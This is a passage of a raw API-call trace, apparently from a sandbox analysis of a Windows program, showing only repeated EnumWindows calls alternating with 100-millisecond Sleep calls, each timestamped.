(lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.336] Sleep (dwMilliseconds=0x64) [0224.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.338] Sleep (dwMilliseconds=0x64) [0224.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.340] Sleep (dwMilliseconds=0x64) [0224.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.407] Sleep (dwMilliseconds=0x64) [0224.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.450] Sleep (dwMilliseconds=0x64) [0224.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.452] Sleep (dwMilliseconds=0x64) [0224.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.455] Sleep (dwMilliseconds=0x64) [0224.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.457] Sleep (dwMilliseconds=0x64) [0224.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.466] Sleep (dwMilliseconds=0x64) [0224.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.474] Sleep (dwMilliseconds=0x64) [0224.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.483] Sleep (dwMilliseconds=0x64) [0224.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.533] Sleep (dwMilliseconds=0x64) [0224.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.629] Sleep (dwMilliseconds=0x64) [0224.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.638] Sleep (dwMilliseconds=0x64) [0224.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.647] Sleep (dwMilliseconds=0x64) [0224.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.649] Sleep (dwMilliseconds=0x64) [0224.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.651] Sleep (dwMilliseconds=0x64) [0224.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.654] Sleep (dwMilliseconds=0x64) [0224.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.659] Sleep (dwMilliseconds=0x64) [0224.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.685] Sleep (dwMilliseconds=0x64) [0224.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.779] Sleep (dwMilliseconds=0x64) [0224.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.783] Sleep (dwMilliseconds=0x64) [0224.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.794] Sleep (dwMilliseconds=0x64) [0224.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.796] Sleep (dwMilliseconds=0x64) [0224.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.798] Sleep (dwMilliseconds=0x64) [0224.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.800] Sleep (dwMilliseconds=0x64) [0224.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.803] Sleep (dwMilliseconds=0x64) [0224.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.804] Sleep (dwMilliseconds=0x64) [0224.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.807] Sleep (dwMilliseconds=0x64) [0224.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.808] Sleep (dwMilliseconds=0x64) [0224.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.816] Sleep (dwMilliseconds=0x64) [0224.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.910] Sleep (dwMilliseconds=0x64) [0224.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.919] Sleep (dwMilliseconds=0x64) [0224.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.921] Sleep (dwMilliseconds=0x64) [0224.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.924] Sleep (dwMilliseconds=0x64) [0224.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.926] Sleep (dwMilliseconds=0x64) [0224.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.928] Sleep (dwMilliseconds=0x64) [0224.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0224.936] Sleep (dwMilliseconds=0x64) [0225.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.233] Sleep (dwMilliseconds=0x64) [0225.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.236] Sleep (dwMilliseconds=0x64) [0225.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.238] Sleep (dwMilliseconds=0x64) [0225.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.240] Sleep (dwMilliseconds=0x64) [0225.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.242] Sleep (dwMilliseconds=0x64) [0225.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.244] Sleep (dwMilliseconds=0x64) [0225.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.246] Sleep (dwMilliseconds=0x64) [0225.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.248] Sleep (dwMilliseconds=0x64) [0225.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.251] Sleep (dwMilliseconds=0x64) [0225.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.253] Sleep (dwMilliseconds=0x64) [0225.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.256] Sleep (dwMilliseconds=0x64) [0225.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.257] Sleep (dwMilliseconds=0x64) [0225.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.259] Sleep (dwMilliseconds=0x64) [0225.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.261] Sleep (dwMilliseconds=0x64) [0225.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.263] Sleep (dwMilliseconds=0x64) [0225.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.266] Sleep (dwMilliseconds=0x64) [0225.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.267] Sleep (dwMilliseconds=0x64) [0225.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.270] Sleep (dwMilliseconds=0x64) [0225.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.271] Sleep (dwMilliseconds=0x64) [0225.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.273] Sleep (dwMilliseconds=0x64) [0225.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.275] Sleep (dwMilliseconds=0x64) [0225.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.277] Sleep (dwMilliseconds=0x64) [0225.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.388] Sleep (dwMilliseconds=0x64) [0225.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.390] Sleep (dwMilliseconds=0x64) [0225.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.398] Sleep (dwMilliseconds=0x64) [0225.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.406] Sleep (dwMilliseconds=0x64) [0225.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.408] Sleep (dwMilliseconds=0x64) [0225.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.410] Sleep (dwMilliseconds=0x64) [0225.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.412] Sleep (dwMilliseconds=0x64) [0225.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.413] Sleep (dwMilliseconds=0x64) [0225.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.415] Sleep (dwMilliseconds=0x64) [0225.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.417] Sleep (dwMilliseconds=0x64) [0225.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.419] Sleep (dwMilliseconds=0x64) [0225.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.422] Sleep (dwMilliseconds=0x64) [0225.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.424] Sleep (dwMilliseconds=0x64) [0225.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.426] Sleep (dwMilliseconds=0x64) [0225.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.428] Sleep (dwMilliseconds=0x64) [0225.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.431] Sleep (dwMilliseconds=0x64) [0225.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.433] Sleep (dwMilliseconds=0x64) [0225.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.434] Sleep (dwMilliseconds=0x64) [0225.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.436] Sleep (dwMilliseconds=0x64) [0225.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.439] Sleep (dwMilliseconds=0x64) [0225.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.441] Sleep (dwMilliseconds=0x64) [0225.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.443] Sleep (dwMilliseconds=0x64) [0225.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.445] Sleep (dwMilliseconds=0x64) [0225.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.446] Sleep (dwMilliseconds=0x64) [0225.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.448] Sleep (dwMilliseconds=0x64) [0225.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.541] Sleep (dwMilliseconds=0x64) [0225.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.551] Sleep (dwMilliseconds=0x64) [0225.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.553] Sleep (dwMilliseconds=0x64) [0225.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.557] Sleep (dwMilliseconds=0x64) [0225.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.562] Sleep (dwMilliseconds=0x64) [0225.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.604] Sleep (dwMilliseconds=0x64) [0225.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.674] Sleep (dwMilliseconds=0x64) [0225.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.682] Sleep (dwMilliseconds=0x64) [0225.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.691] Sleep (dwMilliseconds=0x64) [0225.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.719] Sleep (dwMilliseconds=0x64) [0225.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.755] Sleep (dwMilliseconds=0x64) [0225.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.880] Sleep (dwMilliseconds=0x64) [0225.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.893] Sleep (dwMilliseconds=0x64) [0225.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.905] Sleep (dwMilliseconds=0x64) [0225.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.907] Sleep (dwMilliseconds=0x64) [0225.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.935] Sleep (dwMilliseconds=0x64) [0225.937] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0225.937] Sleep (dwMilliseconds=0x64) [0226.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.029] Sleep (dwMilliseconds=0x64) [0226.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.031] Sleep (dwMilliseconds=0x64) [0226.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.033] Sleep (dwMilliseconds=0x64) [0226.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.075] Sleep (dwMilliseconds=0x64) [0226.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.093] Sleep (dwMilliseconds=0x64) [0226.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.189] Sleep (dwMilliseconds=0x64) [0226.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.246] Sleep (dwMilliseconds=0x64) [0226.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.268] Sleep (dwMilliseconds=0x64) [0226.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.422] Sleep (dwMilliseconds=0x64) [0226.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.424] Sleep (dwMilliseconds=0x64) [0226.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.426] Sleep (dwMilliseconds=0x64) [0226.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.428] Sleep (dwMilliseconds=0x64) [0226.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.431] Sleep (dwMilliseconds=0x64) [0226.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.433] Sleep (dwMilliseconds=0x64) [0226.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.446] Sleep (dwMilliseconds=0x64) [0226.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.456] Sleep (dwMilliseconds=0x64) [0226.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.471] Sleep (dwMilliseconds=0x64) [0226.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.479] Sleep (dwMilliseconds=0x64) [0226.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.612] Sleep (dwMilliseconds=0x64) [0226.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.615] Sleep (dwMilliseconds=0x64) [0226.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.627] Sleep (dwMilliseconds=0x64) [0226.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.629] Sleep (dwMilliseconds=0x64) [0226.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.632] Sleep (dwMilliseconds=0x64) [0226.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.634] Sleep (dwMilliseconds=0x64) [0226.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.637] Sleep (dwMilliseconds=0x64) [0226.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.639] Sleep (dwMilliseconds=0x64) [0226.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.641] Sleep (dwMilliseconds=0x64) [0226.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.648] Sleep (dwMilliseconds=0x64) [0226.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.749] Sleep (dwMilliseconds=0x64) [0226.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.783] Sleep (dwMilliseconds=0x64) [0226.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.785] Sleep (dwMilliseconds=0x64) [0226.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.788] Sleep (dwMilliseconds=0x64) [0226.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.792] Sleep (dwMilliseconds=0x64) [0226.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.794] Sleep (dwMilliseconds=0x64) [0226.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.808] Sleep (dwMilliseconds=0x64) [0226.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.834] Sleep (dwMilliseconds=0x64) [0226.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.912] Sleep (dwMilliseconds=0x64) [0226.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.944] Sleep (dwMilliseconds=0x64) [0226.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0226.950] Sleep (dwMilliseconds=0x64) [0227.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.050] Sleep (dwMilliseconds=0x64) [0227.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.181] Sleep (dwMilliseconds=0x64) [0227.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.288] Sleep (dwMilliseconds=0x64) [0227.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.325] Sleep (dwMilliseconds=0x64) [0227.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.430] Sleep (dwMilliseconds=0x64) [0227.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.432] Sleep (dwMilliseconds=0x64) [0227.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.441] Sleep (dwMilliseconds=0x64) [0227.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.450] Sleep (dwMilliseconds=0x64) [0227.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.458] Sleep (dwMilliseconds=0x64) [0227.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.466] Sleep (dwMilliseconds=0x64) [0227.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.482] Sleep (dwMilliseconds=0x64) [0227.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.489] Sleep (dwMilliseconds=0x64) [0227.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.584] Sleep (dwMilliseconds=0x64) [0227.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.591] Sleep (dwMilliseconds=0x64) [0227.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.622] Sleep (dwMilliseconds=0x64) [0227.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.705] Sleep (dwMilliseconds=0x64) [0227.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.727] Sleep (dwMilliseconds=0x64) [0227.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.756] Sleep (dwMilliseconds=0x64) [0227.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.763] Sleep (dwMilliseconds=0x64) [0227.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.766] Sleep (dwMilliseconds=0x64) [0227.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.767] Sleep (dwMilliseconds=0x64) [0227.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.779] Sleep (dwMilliseconds=0x64) [0227.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.782] Sleep (dwMilliseconds=0x64) [0227.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.785] Sleep (dwMilliseconds=0x64) [0227.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.850] Sleep (dwMilliseconds=0x64) [0227.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.911] Sleep (dwMilliseconds=0x64) [0227.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.913] Sleep (dwMilliseconds=0x64) [0227.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.916] Sleep (dwMilliseconds=0x64) [0227.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0227.960] Sleep (dwMilliseconds=0x64) [0228.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.030] Sleep (dwMilliseconds=0x64) [0228.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.184] Sleep (dwMilliseconds=0x64) [0228.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.186] Sleep (dwMilliseconds=0x64) [0228.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.194] Sleep (dwMilliseconds=0x64) [0228.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.202] Sleep (dwMilliseconds=0x64) [0228.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.211] Sleep (dwMilliseconds=0x64) [0228.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.213] Sleep (dwMilliseconds=0x64) [0228.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.265] Sleep (dwMilliseconds=0x64) [0228.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.335] Sleep (dwMilliseconds=0x64) [0228.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.382] Sleep (dwMilliseconds=0x64) [0228.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.410] Sleep (dwMilliseconds=0x64) [0228.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.418] Sleep (dwMilliseconds=0x64) [0228.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.495] Sleep (dwMilliseconds=0x64) [0228.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.499] Sleep (dwMilliseconds=0x64) [0228.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.502] Sleep (dwMilliseconds=0x64) [0228.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.504] Sleep (dwMilliseconds=0x64) [0228.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.505] Sleep (dwMilliseconds=0x64) [0228.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.507] Sleep (dwMilliseconds=0x64) [0228.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.509] Sleep (dwMilliseconds=0x64) [0228.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.511] Sleep (dwMilliseconds=0x64) [0228.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.513] Sleep (dwMilliseconds=0x64) [0228.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.515] Sleep (dwMilliseconds=0x64) [0228.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.517] Sleep (dwMilliseconds=0x64) [0228.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.519] Sleep (dwMilliseconds=0x64) [0228.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.638] Sleep (dwMilliseconds=0x64) [0228.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.653] Sleep (dwMilliseconds=0x64) [0228.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.661] Sleep (dwMilliseconds=0x64) [0228.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.670] Sleep (dwMilliseconds=0x64) [0228.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.679] Sleep (dwMilliseconds=0x64) [0228.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.681] Sleep (dwMilliseconds=0x64) [0228.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.683] Sleep (dwMilliseconds=0x64) [0228.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.761] Sleep (dwMilliseconds=0x64) [0228.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.803] Sleep (dwMilliseconds=0x64) [0228.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.805] Sleep (dwMilliseconds=0x64) [0228.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.807] Sleep (dwMilliseconds=0x64) [0228.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.827] Sleep (dwMilliseconds=0x64) [0228.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.841] Sleep (dwMilliseconds=0x64) [0228.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.891] Sleep (dwMilliseconds=0x64) [0228.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.974] Sleep (dwMilliseconds=0x64) [0228.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.976] Sleep (dwMilliseconds=0x64) [0228.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.980] Sleep (dwMilliseconds=0x64) [0228.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.981] Sleep (dwMilliseconds=0x64) [0228.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.983] Sleep (dwMilliseconds=0x64) [0228.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.985] Sleep (dwMilliseconds=0x64) [0228.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.991] Sleep (dwMilliseconds=0x64) [0228.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.993] Sleep (dwMilliseconds=0x64) [0228.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.995] Sleep (dwMilliseconds=0x64) [0228.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0228.998] Sleep (dwMilliseconds=0x64) [0229.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.000] Sleep (dwMilliseconds=0x64) [0229.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.002] Sleep (dwMilliseconds=0x64) [0229.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.041] Sleep (dwMilliseconds=0x64) [0229.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.189] Sleep (dwMilliseconds=0x64) [0229.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.209] Sleep (dwMilliseconds=0x64) [0229.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.322] Sleep (dwMilliseconds=0x64) [0229.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.325] Sleep (dwMilliseconds=0x64) [0229.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.429] Sleep (dwMilliseconds=0x64) [0229.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.524] Sleep (dwMilliseconds=0x64) [0229.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.548] Sleep (dwMilliseconds=0x64) [0229.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.576] Sleep (dwMilliseconds=0x64) [0229.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.585] Sleep (dwMilliseconds=0x64) [0229.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.664] Sleep (dwMilliseconds=0x64) [0229.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.683] Sleep (dwMilliseconds=0x64) [0229.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.725] Sleep (dwMilliseconds=0x64) [0229.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.731] Sleep (dwMilliseconds=0x64) [0229.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.734] Sleep (dwMilliseconds=0x64) [0229.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.736] Sleep (dwMilliseconds=0x64) [0229.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.739] Sleep (dwMilliseconds=0x64) [0229.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 